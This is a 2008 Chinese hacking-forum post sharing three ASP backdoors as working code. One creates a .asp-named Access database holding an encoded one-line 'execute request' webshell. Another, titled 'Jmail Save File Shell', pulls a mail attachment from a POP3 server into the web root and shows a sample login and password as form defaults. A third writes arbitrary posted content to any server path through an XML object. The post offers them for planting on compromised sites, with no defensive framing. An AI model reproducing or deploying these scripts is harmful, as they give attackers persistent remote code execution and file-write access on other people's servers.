几款最新另类的ASP后门

血腥魔术师

IX新闻小组云杉实验室防务院

五星会员

Rank: 6 Rank: 6

社区积分: 2040
技术积分: 2325

获赠礼品

大中小 1楼

2008-7-2 01:30 只看该作者

几款最新另类的ASP后门

--------------------------------------------------------------------------------------------
#主题描述# 几款最新另类的ASP后门
--------------------------------------------------------------------------------------------
#内容#

利用的是ADOX.Catalog组件

程序代码

复制内容到剪贴板

代码:

<% 

''code by netpatch 

dim dbfile,sql 

db="netpatch.asp" 

dbfile=server.MapPath(db) 



set ydb=server.CreateObject("ADOX.Catalog") 

ydb.Create "Provider= Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile 

set ydb=nothing 

if err.number=0 then 

Response.Write dbfile & " 创建成功

 " 

else 

Response.Write "创建失败，原因： " & err.description 

Response.End 

end if 



Set Conn = Server.CreateObject("ADODB.Connection") 

Conn.Open "Provider= Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile 



sql="Create TABLE fdata([data] Memo)" 

conn.execute(sql) 



Set rs = CreateObject("ADODB.RecordSet") 

rs.Open "FData", conn, 1, 3 

rs.addnew 

rs("data")="攠數畣整爠煥敵"　 ''(注释记得去掉！一句话后门 execute request(“n”)) 

rs.update 

%>

用Jmail写文件进硬盘

程序代码

复制内容到剪贴板

代码:

<% 

　 ''codz by kEvin1986 [S4T] 

　 User=Request.Form("User") 

　 Pass=Request.Form("Pass") 

　 Popserver=Request.Form("Popserver") 



　 if User<>"" and Pass<>"" and Popserver<>"" then 

　　　 Set objmail = CreateObject( "JMail.POP3" ) 

　　　 objmail.Connect User, Pass, Popserver 

　 

　　　 set objmsg=CreateObject("jmail.message") 

　　　 Set objmsg = objmail.Messages.item(1) 

　　　 separator = ", " 

　　　 response.write "Attachment Name is: " & SaveAtta & "

" 

　　　 objmail.Disconnect 

　 End if 



　 Function SaveAtta() 

　　　 Set Attachments = objmsg.Attachments 

　　　 separator = ", " 

　　　 response.write "The size of this Attachment is: " & objmsg.size & "

" 

　　　 For i = 0 To Attachments.Count - 1 

　　　 If i = Attachments.Count - 1 Then 

　　　　　　 separator = "" 

　　　 End If 



　　　 Set Theatta = Attachments(i) 

　　　 response.write Theatta.Name 

　　　 Theatta.SaveToFile(Server.Mappath(".") & "" & Theatta.Name) 

　　　 Response.write "Oh!Hey Guy.....That''s OK!" 

　　　 Next 

　 End Function 

%> 



<Html> 

<Head> 

<Title>Jmail Save File Shell</Title> 

</Head> 

<Body> 

<Center> 

<Form Method="POST"> 

User: <input name="User" type=text value="kevin1986">

 

Pass: <input name="Pass" type=text value="1986lovinghuan">

 

POP3: <input name="Popserver" type=text value="pop.163.com">

 

<input type=submit value="Get the Attachments Of the First Mail"> 

</Form> 

</Center> 

</Body> 

</Html>

利用xml写马

程序代码

复制内容到剪贴板

代码:

<%on error resume next%> 

<form id="form1" name="form1" method="post" action=''''''''> 

<p>木马内容</p> 

<p><textarea name="flashboy" cols="80" rows="10"></textarea></p> 

<p>路径</p>　 

<p><input name="textfield" type="text" size="50" /></p> 

<p><input type="submit" name="Submit" value="提交" /></p></form> 

<p><%Response.write "本文件绝对路径"%> 

  <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p> 

<% 

dim xmlString 

dim xmlDoc 

xmlString= Request("flashboy") 

set xmlDoc = server.createObject("Msxml2.DOMDocument") 

xmlDoc.loadXml(xmlString) 

f=Request("textfield") 

xmlDoc.save(f) 

set xmlDoc=nothing 

%>